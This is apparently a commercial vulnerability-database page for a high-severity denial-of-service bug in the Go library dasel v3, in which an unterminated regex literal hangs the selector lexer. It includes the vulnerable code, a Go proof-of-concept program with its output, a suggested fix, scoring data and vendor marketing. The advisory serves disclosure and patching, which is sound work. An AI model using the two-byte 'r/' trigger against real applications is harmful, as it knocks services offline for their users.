Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-m6xr-fvfg-5g64

HIGHFix: TomWright/dasel@95f8dd3

GHSA-m6xr-fvfg-5g64 is a high-severity (CVSS 7.5) CWE-835 vulnerability in github.com/tomwright/dasel/v3. O3 Security confirms whether GHSA-m6xr-fvfg-5g64 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal

Also known asCVE-2026-46378GO-2026-5493
Published
May 19, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 16, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-m6xr-fvfg-5g64.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs2th percentile — riskier than 2% of all scored CVEsHighest risk
0.00%0.20%0.41%0.61%0.1%0.1%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-m6xr-fvfg-5g64 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 17,308 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/tomwright/dasel/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

dasel's selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as r/abc. A 2-byte input (r/) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the matchRegexPattern closure within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L237-L247:

matchRegexPattern := func(pos int) *Token {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil
    }
    start := pos
    pos += 2
    for !p.peekRuneEqual(pos, '/') {  // line 243
        pos++
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}

When no closing / exists, peekRuneEqual returns false when pos >= srcLen (because the bounds check at line 40 returns false for out-of-range positions). Since !false = true, the loop condition remains true and pos increments indefinitely. The function never returns.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the regex pattern path does not perform a similar end-of-input check.

Minimal trigger: r/ (2 bytes)

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
	"fmt"
	"runtime"
	"time"

	"github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	for _, input := range []string{"r/unterminated", "r/"} {
		fmt.Printf("Input: %s\n", input)
		done := make(chan string, 1)
		go func() {
			t := lexer.NewTokenizer(input)
			start := time.Now()
			tokens, err := t.Tokenize()
			elapsed := time.Since(start)
			if err != nil {
				done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
			} else {
				done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens))
			}
		}()

		select {
		case result := <-done:
			fmt.Println(result)
		case <-time.After(5 * time.Second):
			fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop")
		}
		fmt.Println()
	}
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: r/unterminated
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Input: r/
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Impact

An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:

  • Web applications using dasel for dynamic data querying
  • Applications that construct selectors from user input
  • Shared tooling environments where selectors are passed as parameters

Suggested Fix

The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since matchRegexPattern currently returns *Token, the fix also requires changing the function signature to propagate errors. For example:

matchRegexPattern := func(pos int) (*Token, error) {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil, nil
    }
    start := pos
    pos += 2
    for pos < p.srcLen && p.src[pos] != '/' {
        pos++
    }
    if pos >= p.srcLen {
        return nil, &UnexpectedEOFError{Pos: pos}
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/tomwright/dasel/v33.0.0&&< 3.10.13.10.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/tomwright/dasel/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/tomwright/dasel/v3 to 3.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m6xr-fvfg-5g64 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-m6xr-fvfg-5g64 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m6xr-fvfg-5g64. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely. I confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet. ### Details The bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCu
O3 Security · Impact-Aware SCA

Is GHSA-m6xr-fvfg-5g64 in your dependencies?

O3 detects GHSA-m6xr-fvfg-5g64 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.